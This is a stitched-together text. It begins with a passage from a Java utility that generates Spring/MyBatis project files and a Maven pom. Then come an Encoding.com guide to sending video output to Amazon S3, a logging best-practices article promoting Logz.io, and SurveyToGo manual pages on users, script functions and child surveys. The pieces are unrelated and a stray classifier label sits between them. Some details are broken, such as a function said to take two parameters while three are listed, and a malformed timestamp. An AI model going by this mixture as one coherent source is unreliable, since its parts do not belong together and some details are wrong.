" <!-- 配置整合mybatis过程 -->\n" +
" <!-- 1.配置数据库相关参数properties的属性：${url} -->\n" +
" <context:property-placeholder location=\"classpath:jdbc.properties\" />\n" +
"\n" +
" <!-- 2.数据库连接池 -->\n" +
" <bean id=\"dataSource\" class=\"com.mchange.v2.c3p0.ComboPooledDataSource\">\n" +
" <property name=\"driverClass\" value=\"${jdbc.driver}\" />\n" +
" <property name=\"jdbcUrl\" value=\"${jdbc.url}\" />\n" +
" <property name=\"user\" value=\"${jdbc.username}\" />\n" +
" <property name=\"password\" value=\"${jdbc.password}\" />\n" +
"\n" +
" <!-- c3p0连接池的私有属性 -->\n" +
" <property name=\"maxPoolSize\" value=\"30\" />\n" +
" <property name=\"minPoolSize\" value=\"10\" />\n" +
" <!-- 关闭连接后不自动commit -->\n" +
" <property name=\"autoCommitOnClose\" value=\"false\" />\n" +
" <!-- 获取连接超时时间 -->\n" +
" <property name=\"checkoutTimeout\" value=\"10000\" />\n" +
" <!-- 当获取连接失败重试次数 -->\n" +
" <property name=\"acquireRetryAttempts\" value=\"2\" />\n" +
" </bean>\n" +
"\n" +
" <!-- 3.配置SqlSessionFactory对象 -->\n" +
" <bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n" +
" <!-- 注入数据库连接池 -->\n" +
" <property name=\"dataSource\" ref=\"dataSource\" />\n" +
" <!-- 配置MyBaties全局配置文件:mybatis-config.xml -->\n" +
" <property name=\"configLocation\" value=\"classpath:mybatis-config.xml\" />\n" +
" <!-- 扫描entity包 使用别名 -->\n" +
" <property name=\"typeAliasesPackage\" value=\"" + com + ".entity\" />\n" +
" <!-- 扫描sql配置文件:mapper需要的xml文件 -->\n" +
" <property name=\"mapperLocations\" value=\"classpath:mapper/*.xml\" />\n" +
" </bean>\n" +
"\n" +
" <!-- 4.配置扫描Dao接口包，动态实现Dao接口，注入到spring容器中 -->\n" +
" <bean class=\"org.mybatis.spring.mapper.MapperScannerConfigurer\">\n" +
" <!-- 注入sqlSessionFactory -->\n" +
" <property name=\"sqlSessionFactoryBeanName\" value=\"sqlSessionFactory\" />\n" +
" <!-- 给出需要扫描Dao接口包 -->\n" +
" <property name=\"basePackage\" value=\"" + com + ".dao\" />\n" +
" </bean>\n" +
"\n" +
" <!--配置声明式事务管理-->\n" +
" <bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n" +
" <property name=\"dataSource\" ref=\"dataSource\" />\n" +
" </bean>\n" +
" <tx:annotation-driven proxy-target-class=\"true\" />\n" +
"\n" +
"</beans>";
return createFile(file, context);
}
/**
* 创建spring-service.xml配置文件
*
* @param url 路径
* @return
*/
static boolean springService(String url) {
File file = new File(url, "spring-service.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<beans xmlns=\"http://www.springframework.org/schema/beans\"\n" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" +
" xmlns:context=\"http://www.springframework.org/schema/context\"\n" +
" xmlns:tx=\"http://www.springframework.org/schema/tx\" xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\n" +
" xmlns:aop=\"http://www.springframework.org/schema/aop\"\n" +
" xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n" +
"\thttp://www.springframework.org/schema/beans/spring-beans.xsd\n" +
"\thttp://www.springframework.org/schema/context\n" +
"\thttp://www.springframework.org/schema/context/spring-context.xsd\n" +
" http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd\">\n" +
" <!-- 扫描service包下所有使用注解的类型 -->\n" +
" <context:component-scan base-package=\"" + com + ".service\" />\n" +
" <mvc:annotation-driven />\n" +
" <!-- 启用 aspectj 方式 AOP-->\n" +
" <aop:aspectj-autoproxy proxy-target-class=\"true\" />\n" +
"</beans>";
return createFile(file, context);
}
/**
* 创建generatorConfig.xml配置文件
* @param url
* @return
*/
static boolean generatorConfig(String url) {
File file = new File(url, "generatorConfig.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!DOCTYPE generatorConfiguration\n" +
" PUBLIC \"-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN\"\n" +
" \"http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd\">\n" +
"\n" +
"<generatorConfiguration>\n" +
"\n" +
" <context id=\"xxx\" targetRuntime=\"MyBatis3Simple\">\n" +
"\n" +
"\n" +
" <commentGenerator>\n" +
" <property name=\"suppressDate\" value=\"true\" />\n" +
" </commentGenerator>\n" +
" <!-- 数据库连接 -->\n" +
" <jdbcConnection driverClass=\"org.mariadb.jdbc.Driver\"\n" +
" connectionURL=\"jdbc:mariadb://localhost/"+database+"\"\n" +
" userId=\""+user+"\" password=\""+password+"\">\n" +
" </jdbcConnection>\n" +
"\n" +
" <!-- Model生成规则 -->\n" +
" <javaModelGenerator targetPackage=\""+com+".entity\" targetProject=\"src/main/java\">\n" +
" <property name=\"trimStrings\" value=\"true\" />\n" +
" </javaModelGenerator>\n" +
"\n" +
" <sqlMapGenerator targetPackage=\"mapper\" targetProject=\"src/main/resources\"/>\n" +
" <!-- dao 规则 -->\n" +
" <javaClientGenerator type=\"XMLMAPPER\" targetPackage=\""+com+".dao\" targetProject=\"src/main/java\">\n" +
" <property name=\"enableSubPackages\" value=\"true\" />\n" +
" </javaClientGenerator>\n" +
" <table tableName=\"%\">\n" +
" <generatedKey column=\"id\" sqlStatement=\"Mysql\"/>\n" +
" </table>\n" +
" </context>\n" +
"</generatorConfiguration>";
return createFile(file, context);
}
//***********************webapp************************
static boolean createWebapp(String url) {
if (webXml(url + File.separator + "WEB-INF")) {
System.out.println("web.xml配置成功");
} else {
System.out.println("web.xml配置失败");
}
createCSSJSDirectory(url + File.separator);
return true;
}
/**
* 创建WEB-INF\web.xml配置文件
*
* @param url 路径
* @return
*/
static boolean webXml(String url) {
File file = new File(url, "web.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<web-app xmlns=\"http://xmlns.jcp.org/xml/ns/javaee\"\n" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" +
" xsi:schemaLocation=\"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd\"\n" +
" version=\"4.0\">\n" +
"\n" +
" <display-name>自动生成</display-name>\n" +
"\n" +
" <!--解决中文乱码-->\n" +
" <filter>\n" +
" <filter-name>encodingFilter</filter-name>\n" +
" <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>\n" +
" <async-supported>true</async-supported>\n" +
" <init-param>\n" +
" <param-name>encoding</param-name>\n" +
" <param-value>UTF-8</param-value>\n" +
" </init-param>\n" +
"\n" +
" </filter>\n" +
" <filter-mapping>\n" +
" <filter-name>encodingFilter</filter-name>\n" +
" <url-pattern>/*</url-pattern>\n" +
" </filter-mapping>\n" +
"\n" +
" <!--配置 Spring 的容器-->\n" +
" <context-param>\n" +
" <param-name>contextConfigLocation</param-name>\n" +
" <param-value>classpath:spring/spring-*.xml</param-value>\n" +
" </context-param>\n" +
" <listener>\n" +
" <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>\n" +
" </listener>\n" +
"\n" +
" <!--配置 MVC 容器-->\n" +
" <!--将所有的请求都交给 Spring MVC 处理-->\n" +
" <servlet>\n" +
" <servlet-name>app</servlet-name>\n" +
" <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>\n" +
" <init-param>\n" +
" <param-name>contextConfigLocation</param-name>\n" +
" <param-value>classpath:spring-web.xml</param-value>\n" +
" </init-param>\n" +
" </servlet>\n" +
" <servlet-mapping>\n" +
" <servlet-name>app</servlet-name>\n" +
" <url-pattern>/</url-pattern>\n" +
" </servlet-mapping>\n" +
"</web-app>";
return createFile(file, context);
}
/**
* 创建css和js
*
* @param url 路径
*/
static boolean createCSSJSDirectory(String url) {
File fcss = new File(url + "css");
if (fcss.mkdirs()) {
System.out.println("成功创建css文件夹");
}
File fjs = new File(url + "js");
if (fjs.mkdirs()) {
System.out.println("成功创建js文件夹");
}
return true;
}
/**
* @param file 创建的文件
* @param context 文件里面的内容
*/
static boolean createFile(File file, String context) {
//获取文件
File parent = file.getParentFile();
//如果是目录
if (parent != null) {
//创建目录
parent.mkdirs();
}
try {
//创建文件
file.createNewFile();
FileWriter fileWriter = null;
try {
fileWriter = new FileWriter(file);
fileWriter.write(context);
fileWriter.flush();
fileWriter.close();
} catch (IOException e) {
return false;
}
} catch (IOException e) {
System.out.println("创建文件失败:" + e.getMessage());
}
return true;
}
//***********************pom.xml************************
/**
* 配置pom.xml文件
*
* @param url 路径
*/
static String configPomXml(String url) {
File file = new File(url, "pom.xml");
InputStream inputStream = null;
byte b[] = new byte[Integer.parseInt(String.valueOf(file.length()))];
StringBuffer stringBuffer = null;
try {
inputStream = new FileInputStream(file);
inputStream.read(b);
inputStream.close();
stringBuffer = new StringBuffer(new String(b));
stringBuffer.replace(Integer.parseInt(String.valueOf(file.length())) - 10, Integer.parseInt(String.valueOf(file.length())), "");
stringBuffer.append(pomContext());
} catch (Exception e) {
return "程序出错，请重试 -- pom.xml文件配置失败";
}
if (createFile(file, stringBuffer.toString())) {
return "pom.xml文件配置完成";
}
return "pom.xml文件配置失败";
}
/**
* pom.xml配置文件需要加的配置
*
* @return
*/
static String pomContext() {
return "<!--打包-->\n" +
" <packaging>war</packaging>\n" +
" <!--设置编码-->\n" +
" <properties>\n" +
" <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n" +
" <maven.compiler.source>1.8</maven.compiler.source>\n" +
" <maven.compiler.target>1.8</maven.compiler.target>\n" +
" <spring.version>5.1.0.RELEASE</spring.version>\n" +
" </properties>\n" +
" <!--引入文件-->\n" +
" <dependencies>\n" +
" <!-- Spring Web MVC -->\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-web</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-webmvc</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- servlet 系列的支持 -->\n" +
" <dependency>\n" +
" <groupId>javax</groupId>\n" +
" <artifactId>javaee-api</artifactId>\n" +
" <version>8.0</version>\n" +
" <scope>provided</scope>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>javax.servlet</groupId>\n" +
" <artifactId>jstl</artifactId>\n" +
" <version>1.2</version>\n" +
" </dependency>\n" +
"\n" +
" <dependency>\n" +
" <groupId>com.github.pagehelper</groupId>\n" +
" <artifactId>pagehelper</artifactId>\n" +
" <version>5.1.7</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- Springframework -->\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-context</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-jdbc</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-aop</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.aspectj</groupId>\n" +
" <artifactId>aspectjweaver</artifactId>\n" +
" <version>1.9.1</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- MyBatis -->\n" +
" <dependency>\n" +
" <groupId>org.mybatis</groupId>\n" +
" <artifactId>mybatis</artifactId>\n" +
" <version>3.4.6</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.mybatis</groupId>\n" +
" <artifactId>mybatis-spring</artifactId>\n" +
" <version>1.3.2</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- 数据库驱动以及数据库连接池-->\n" +
" <dependency>\n" +
" <groupId>org.mariadb.jdbc</groupId>\n" +
" <artifactId>mariadb-java-client</artifactId>\n" +
" <version>2.3.0</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>com.mchange</groupId>\n" +
" <artifactId>c3p0</artifactId>\n" +
" <version>0.9.5.2</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- 日志框架 -->\n" +
" <dependency>\n" +
" <groupId>log4j</groupId>\n" +
" <artifactId>log4j</artifactId>\n" +
" <version>1.2.17</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- 通用工具 -->\n" +
" <dependency>\n" +
" <groupId>com.fasterxml.jackson.core</groupId>\n" +
" <artifactId>jackson-databind</artifactId>\n" +
" <version>2.9.7</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- 单元测试 -->\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-test</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" <scope>test</scope>\n" +
" </dependency>\n" +
"\n" +
" <dependency>\n" +
" <groupId>junit</groupId>\n" +
" <artifactId>junit</artifactId>\n" +
" <version>4.12</version>\n" +
" <scope>test</scope>\n" +
" </dependency>\n" +
" </dependencies>\n" +
" <build>\n" +
" <finalName>contact</finalName>\n" +
" <plugins>\n" +
" <plugin>\n" +
" <groupId>org.mybatis.generator</groupId>\n" +
" <artifactId>mybatis-generator-maven-plugin</artifactId>\n" +
" <version>1.3.7</version>\n" +
" <dependencies>\n" +
" <dependency>\n" +
" <groupId>org.mariadb.jdbc</groupId>\n" +
" <artifactId>mariadb-java-client</artifactId>\n" +
" <version>2.3.0</version>\n" +
" </dependency>\n" +
" </dependencies>\n" +
" </plugin>\n" +
" </plugins>\n" +
"\n" +
" <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->\n" +
" <plugins>\n" +
" <plugin>\n" +
" <artifactId>maven-clean-plugin</artifactId>\n" +
" <version>3.0.0</version>\n" +
" </plugin>\n" +
" <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->\n" +
" <plugin>\n" +
" <artifactId>maven-resources-plugin</artifactId>\n" +
" <version>3.0.2</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-compiler-plugin</artifactId>\n" +
" <version>3.7.0</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-surefire-plugin</artifactId>\n" +
" <version>2.20.1</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-war-plugin</artifactId>\n" +
" <version>3.2.0</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-install-plugin</artifactId>\n" +
" <version>2.5.2</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-deploy-plugin</artifactId>\n" +
" <version>2.8.2</version>\n" +
" </plugin>\n" +
" </plugins>\n" +
" </pluginManagement>\n" +
" </build>\n\n" +
"</project>";
}
}
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简单使用hibernate(idea中使用)讲解
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◎欢迎参与讨论，请在这里发表您的看法、交流您的观点。 | __label__pos | 0.89624 |
Sending output to Amazon S3
To deliver your output video files to a bucket on your Amazon S3 account, follow these steps below. Although there are many steps, it’s quite easy!
NOTE: Before downloading, it’s important that you’ve done some basic setup on your Amazon S3 account.
1. On the right side of the same page (on which you see information about your uploaded video), notice the column labeled Step Two. Click the + symbol to expand the Job Notification and Region section.
2. From the Region dropdown listing, choose the region corresponding to the location in which your destination server resides.
3. If you want to receive notification when the conversion process completes, enter an email address or URL into the Notify URL field. The URL must be the HTTP location of a listening script that can receive the XML notification file that Encoding.com will send.
job settings
1. In the Output Format #1 section, choose the output format—such as H264/AVC (.mp4)— in the first dropdown listing. [crossref to Output formats]
2. In the next dropdown listing, choose the encoding preset. [crossref to encoding types]
3. Next, choose S3 for the destination type. Then click the link to enter the destination credentials individually.
4. In the AWS Key field, enter your Amazon S3 Access Key. In the AWS Secret Key field, enter your Amazon S3 Secret Access Key.
5. Enter the name of your Bucket. In our example we are using videooutput_denver.
6. Enter the Object, which is the name of the output video file. You must include the extension (e.g., .mov or .wmv). Be sure to correctly include capitalization where necessary. You will probably want to use an extension that corresponds to the output format. In our example here the path would be /KingLines.mp4
7. Notice that the path in the textbox now corresponds to the entries you made.
8. You may want to add another delivery location for your output video file. Next to the path field (Where should we send your video?), click the + symbol to add another delivery destination. Then follow the same steps given above.
9. Click Save.
10. If you need to make changes to the output settings, click the Customize button. Enter a Preset Name, and then click Save Custom Preset. Then click the Save button again.
S3 Job Config
1. If you want to convert your source to a second output format, click the + symbol next to add another output format. Follow the steps given above.
2. After confirming that all of your entries are correct, click the Process Video button.
3. The status page will appear. If successful, you’ll see a Processing indicator.
S3 Job Config
1. To see details, click the + symbol next to the media ID number.
Extended Info
1. To see more details, click the Processing link. A pop-up window will appear giving the details of the conversion process.
Job Log
1. When the job is done, you will see the Finished status. Click the View/Download link to access your output video file.
View Download Link
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How to Instrument Application Logging
Implementing logging in our applications is a key component in making them more observable. Maintaining consistent structure and instrumenting logging from the very first function or service will help us gain the visibility we need into how our code is performing.
But how do we do this?
The practical answer to this question depends of course on our code — what programming language are we using, what specific logging framework are we working with, and plenty more. However, there is a set of general best practices that can and should be adhered to in order to ensure logging is embedded correctly in our application.
What are we logging?
Some recommend logging as much as possible as a best practice. Fact is, that in some cases, we’ve seen this “log as if there is no tomorrow” approach result in: a) log noise comprised of unimportant data, and b) needlessly expensive logging costs for storage and retention.
Once you’ve understood what you’re aiming to achieve with your logging, you can begin devising a strategy that defines what you want to log, and perhaps even more importantly — what you don’t want to log. If you are planning to build alerts on top of the logs, for example, try and log actionable data.
What logging framework do we use
Logging frameworks give developers a mechanism to implement logging in a standard and easy-to-configure way. They allow developers to control verbosity, define log levels, configure multiple connections or targets, devise a log rotation policy, and so forth.
You could build your own logging framework, but why do that if there are already tools out there that are easy to use, have community support, and most importantly — do the job perfectly well?
So one of the most important decisions you will make is which logging library, or framework, to use. This task can be complicated at times and pretty time consuming as there are a large number of these tools available, but key considerations here should be ease of use, community, feature-richness, and the impact on your application’s performance.
Standardizing logs
The more standardized your logs, the easier it is to parse them and subsequently analyze them. The logging framework you end up using will help you with this, but there is still plenty of work to be done to ensure your log messages are all constructed the same way.
For starters, be sure that developers understand when to use each log level. This will help avoid situations in which the same log message is assigned the same severity or where critical events go unnoticed because of the wrong severity assigned to it.
Second, create a standard for formatting and naming fields. Decide, for example, if the field containing the request is “request” or “requestUrl”. Choose the format you want to use for the timestamp field. Think about whether you want to format your logs in JSON or as key=value pairs (this will depend on how you intend on collecting and analyzing the logs).
How do we format our logs?
Formatting structures your logs. Structuring, in turn, helps both machines and humans read the data more efficiently.
In this context, the most commonly used formatting methods are JSON and KVPs (key=value pairs). Below are examples of the same log message written in both format types.
JSON:
{
“@timestamp”: “2017-07025 17:02:12”,
“level”: “error”,
“message”: “connection refused”,
“service”: “listener”,
“thread”: “125”,
“customerid”: “776622”,
“ip”: “34.124.233.12”,
“queryid”: “45”
}
KVP:
2017-07025 17:02:12 level=error message="connection refused"
service="listener" thread=125 customerid=776622 ip=34.124.233.12
queryid=45
Both formats will help you achieve the same purpose — making the logs human readable and enable more efficient parsing and analysis, but which one you choose to use will depend on the analysis tool you want to use. If it’s the ELK Stack, for example, JSON is the format that you should probably try.
Adding context
Being concise and logging short messages is in general a good law to abide by. But there is a huge difference between writing concise logs and writing incomprehensible logs.
Consider this log message:
12-19-17 13:40:42:000 login failed.
Not very insightful, right? But how about:
12-19-17 13:40:42:000 userId=23 action=login status=failure
In logging, context is everything. Adding contextual information to your log messages creates a story and allows you, and any other party in your organization, to more easily understand and analyze the data.
Part of the context that can be added to logs are fields containing metadata. Common examples are application name, function name, class name, and so on.
Using unique identifiers
When troubleshooting a specific event using logs, one can easily get lost in the data. Without having some kind of map to use as reference, especially microservice-based architectures, it’s virtually impossible to track specific actions across all the different services involved in the transaction.
Adding unique tags or IDs to the logs, when possible, will help you navigate within the data by following specific identifying labels that are passed through the different processing steps. These could be user IDs, transaction IDs, account IDs, and others.
Centralized logging
Once your application is shipping logs, the next practical step is to figure out how to efficiently aggregate, process, and analyze it. This implies selecting a tool, and in this context the most popular open source tool of choice is the ELK Stack — Elasticsearch, Logstash, and Kibana.
The ELK Stack is relatively easy to set up, provides users with the tools to collect log data from multiple data sources, store it in one centralized location, and analyze it with queries and visualizations.
Depending on how you are outputting your logs, you will need to figure out how to construct your data pipeline. Keep it as simple as possible — ELK handles JSON documents quite well, and if you consistently adhere to a united structure, then you will see some pretty good results.
As your code and application grows, the challenge of maintaining a production-grade ELK Stack grows with it. There are various hosted ELK solutions that will help you concentrate on coding and developing new functionality instead of maintaining the stack itself. Logz.io is one such solution, offering a bunch of features missing in the open source version of ELK on top of the stack, such as alerts, security, Live Tail and S3 archiving.
Planning is Key
Logging your application requires some thought, and the earlier you plan and strategize instrumentation the better. The list of best practices above contains some basic steps that can be implemented from the start.
More often than not, developers apply logging as an afterthought or after a critical issue already impacts the application. Why wait for that to happen before implementing a system for keeping track of your product?
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Chapter 3.1 – Managing an Organization with multiple users and groups
September 3, 2014 Leave a comment
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Overview
An organization represents your company’s private space in SurveyToGo. Once you register for a SurveyToGo account an organization is created for you with the name you specified as your company and you can see your organization name listed on the root node in the SurveyToGo Studio:
You should only register once per company and if you need to grant other people from your company access to SurveyToGo – just create users for them and send them the user details and organization name.
Only you and the users that you create have access to your organization. All the surveys that you will create will be created in your organization and cannot be accessed by anyone other than you and the users that you create.
You can also change the properties and contact details of your organization by right clicking on the organization node and clicking on the “Organization Properties”:
What are Organization Users and how do create a new one?
SurveyToGo includes 2 types of users:
• Organization users
• Surveyor users
Organization users are users that are in charge of managing customers, operations & projects and are not the ones performing the actual surveys in the field.
Surveyor users are users that are responsible for actually conducting the surveys in field. By default the surveyors do not have access to the Studio.
Both user types have a password and a user name and you can define as many users as needed of each type. You can also organize them into relevant groups for easier maintenance.
1. Step 1: Create Organization User
2. Step 2: Adding multiple users
3. Step 3: provide organization users with access to projects?
4. Step 4: create new groups of organization users?
Step 1: Create Organization User
To create an Organization User you right click the “Users” folder of the “Studio Users & Groups” node:
You then enter the details of the organization user:
You need to make sure you give out a user name and a password for each organization user that you create. Once you are done filling out the information click the “Create” button.
** The way to add surveyor users is the same, by right-click on the Users folder of the “Surveyor Users & Groups” node.
Step 2: Adding multiple users
Please view this link to see how you can add multiple users at once:
http://support.dooblo.net/entries/28420962-How-to-create-multiple-users
Step 3: provide organization users with access to projects?
After you define all the users of your organization, you can assign them to the projects to give them access to the project. To do this, right click on the project and choose “Security Settings”:
This will bring up the security management screen where you can add the relevant user / group with the relevant permission:
You can then add the users you defined to the various roles of this project:
Role Description
Administrators Project administrators have full rights on the project to both modify, delete, and view data
Managers Project managers have full rights to modify and view the data of the project but do not have rights to delete data
Reviewers Have the same rights as managers as of now
Readers Only have rights to read data and do NOT have any right to change data
** please note that in order for this user to be able to create new surveys and projects, the user needs to be a part of the Survey-Managers group. To add a user to this group, expand the groups node and right click the Survey-Managers group:
Then click the “Add” button to add more users to this group:
Step 4: create new groups of organization users?
Adding a new group of organization users is easy, simple right click the “groups” node and select “create new group” option:
This will open up the new group screen and will allow you to add members to this group. You can then later add this group as project managers as shown above.
To change the rights of a group you can right click that group and select the “Group Rights”:
This will show you the group rights screen.
That’s it!
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Categories: Studio Manual
Script Writer’s Function Hand-Book
August 15, 2012 1 comment
This document contains most of the common every-day usable functions in SurveyToGo.
Explained, demonstrated and elaborated.
This document is directly connected to us, and is constantly updated with new functions and info by our professional team, stay updated!
A Survey Script Writers True Gem!
FilterAnswersByAnswers \ FilterTopicsByAnswers:
Explanation: This function gets a target question index and a source question.
It filters the Current Question’s answers through, according to the answers chosen in the source questions specified.
Input: Gets 2 Parameters
1st Parameter: The Target Question.
2nd Parameter: A Boolean value – ‘true’ for showing answers selected, ‘false’ for showing answers not selected.
3rd Parameter: The Source Questions.
Output: Filters the specified answer index’s
Example of How to write:
FilterAnswersByAnswers(CurrQues,true,QRef(15));
FilterAnswersByAnswers(CurrQues,
true,QRef(15),QRef(16),QRef(17));
FilterTopicsByAnswers(3,
false,QRef(2));
SelectedAnswerText:
Explanation: This function gets a target question index and returns the text of the answer selected
Input: Gets 2 Parameters.
1st Parameter: The Target Question index.
2nd Parameter: A Boolean value – ‘true’ for getting the ‘Other Specify’ input too, ‘false’ for not getting the ‘Other Specify’ input text.
Output: Text of the answer selected
Example of How to write:
SelectedAnswerText (5,true);
SelectedAnswerText (2,
false);
Answer:
Explanation: This function gets a target question index of only single choice questions such as:
(Single-Choice, Numeric, Open Ended, Scale, Expression)
and returns its selected answer index.
Input: Gets 1 Parameters
1st Parameter: The Target Question.
Output: Returns its selected answer index
Example of How to write:
Answer(CurrQues);
Contains:
Explanation: This function gets a target question index of only Multi-Selection questions and an answer index, and checks if this answer was selected.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Target Answer Index.
Output: returns ‘True’ if the given answer was selected – returns ‘False’ if the given answer was not selected.
Example of How to write:
Contains(2,1);
SetAnswerVisible \ SetTopicVisible:
Explanation: This function gets a target question index, a answer\topic index, and a Boolean value (true/false), and shows\hides the given answer\topic.
Input: Gets 3 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Target Answer\Topic Index.
3rd Parameter: A Boolean value. (‘true’ for showing – ‘false’ for hiding)
Output:
Example of How to write:
SetAnswerVisible(CurrQues,2,false);
SetTopicVisible(CurrQues,4,
false);
AnswerChoice:
Explanation: This function gets a target question index of a ‘Single-Choice-Grid’ question only, and a topic index.
it returns the index of the selected answer in the given topic.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Target Topic Index.
Output: returns an index of the selected answer in the given topic within the given multi-topic question.
Example of How to write:
AnswerChoice(CurrQues,3);
AnswerChoice(1,2);
NumOfSelectedChoices:
Explanation: This function gets a target question index of a multi-selection question only, and returns the number of selected answers.
Input: Gets 1 Parameters
1st Parameter: The Target Question Index.
Output: returns the number of selected answers.
Example of How to write:
NumOfSelectedChoices(CurrQues);
GetTopicCount:
Explanation: This function gets a target question index of a Single-Choice Grid question only, and returns the number of topics.
Input: Gets 1 Parameters
1st Parameter: The Target Question Index.
Output: returns the number of topics.
Example of How to write:
GetTopicCount(CurrQues);
AnswerIter:
Explanation: This function gets a target question index of questions that are within a loop of only single choice questions such as:
(Single-Choice, Numeric, Open Ended, Scale, Expression)
and an iteration index.
It returns the answer of the target question in the given Iteration Index.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Specific Iteration Index.
Output: Returns its answer in the given iteration index within the loop.
Example of How to write:
AnswerIter (CurrQues,
3);
AnswerIter (CurrQues,IterationIndex);
*NOTE:IterationIndex Represents the current iteration when running within a loop, so it’s value is set according to the iteration which is currently running.
ContainsIter:
Explanation: This function gets a target question index of questions that are within a loop of only multi-selection question, an answer index and an iteration index.
It checks if the given answer was selected in the target question within the given Iteration Index.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Specific Iteration Index.
3rd Parameter: The Specific Iteration Index.
Output: returns ‘True’ if the given answer was selected in the given iteration – returns ‘False’ if the given answer was not selected in the given iteration index.
Example of How to write:
ContainsIter(CurrQues,
3,7);
ContainsIter (CurrQues,2,IterationIndex);
*NOTE:IterationIndex Represents the current iteration when running within a loop, so it’s value is set according to the iteration which is currently running.
Random():
Explanation: This function gets an integer and returns a random number between the 0 and the integer number given minus 1.
Input: Gets 1 Parameter.
1st Parameter: Maximum number. (Please note that the number generated is between zero till a number that is 1 less than the maximum number given)
Output: returns a random integer within the given range.
Example of How to write:
Random(5);
Random(732);
SelectedAnswerText():
Explanation: This function gets a target question index and a Boolean and returns a text string with all the answers chosen in the given question index, separated with a comma.
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: ‘true’ for including any ‘Other Specify’ text, ‘false’ for not including any ‘Other Specify’ text.
Output: returns a text string with all the answers chosen in the given question index, separated with a comma.
Example of How to write:
SelectedAnswerText(12,true);
SelectedAnswerText(CurrQues,false);
SetAnswer():
Explanation: This function gets a target question index and a target answer index and sets this answer is chosen in the given question index
Input: Gets 2 Parameters
1st Parameter: The Target Question Index.
2nd Parameter: The Target Answer Index
Output: doesn’t return anything, just sets the answer given.
Example of How to write:
SetAnswer(5,2);
SetAnswer(CurrQues,8);
Child Survey Chapter
May 23, 2012 2 comments
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Chapter 8 – Start/End Scripts
About child surveys
SurveyToGo enables you to start a survey from within another survey. This feature can be used for a bunch of different purposes such as:
• Filling out surveys in response to conditions. For example: a survey for a retail store, that requires a different survey if the store was close.
• Filling out surveys in response to events in the field. For example: general medical device survey, where if while filling out the general questions, the patient suddenly reacts you need to fill out a survey about his/her reaction then continue back to filling the general survey.
• Simple loops.
Each child survey is rendered as a menu option on the device allowing for quick ad-hoc filling of child surveys.
How to make it happen?
In order to configure child surveys for a father survey, you just need to specify for the master survey which survey(s) are its child surveys. To accomplish this, do the following:
1. Open the main survey.
2. Click the “Edit Child Surveys” link on the advanced tab of the survey node:
3. Click the “+” button to add a new child survey, then fill out the “Button Text” text. This text will be shown on the menu of the device:
Then, click the “…” button to select the actual child survey from your existing surveys. Please note you can select any survey you want, and you can have a survey be a child survey of more then 1 parent.
4. Click the “+” button to add more surveys or the “OK” button to finish.
5. That’s it. You can now deploy the survey to the device and on the device you will see a menu
Working with child surveys on the device
Now, on the device when running the survey you will see a menu named “More”:
Clicking on this menu will bring up the ability to add or edit child surveys:
You can then select the relevant child survey from the list of surveys. This will start a new run of the child survey, after which you will return to the current survey.
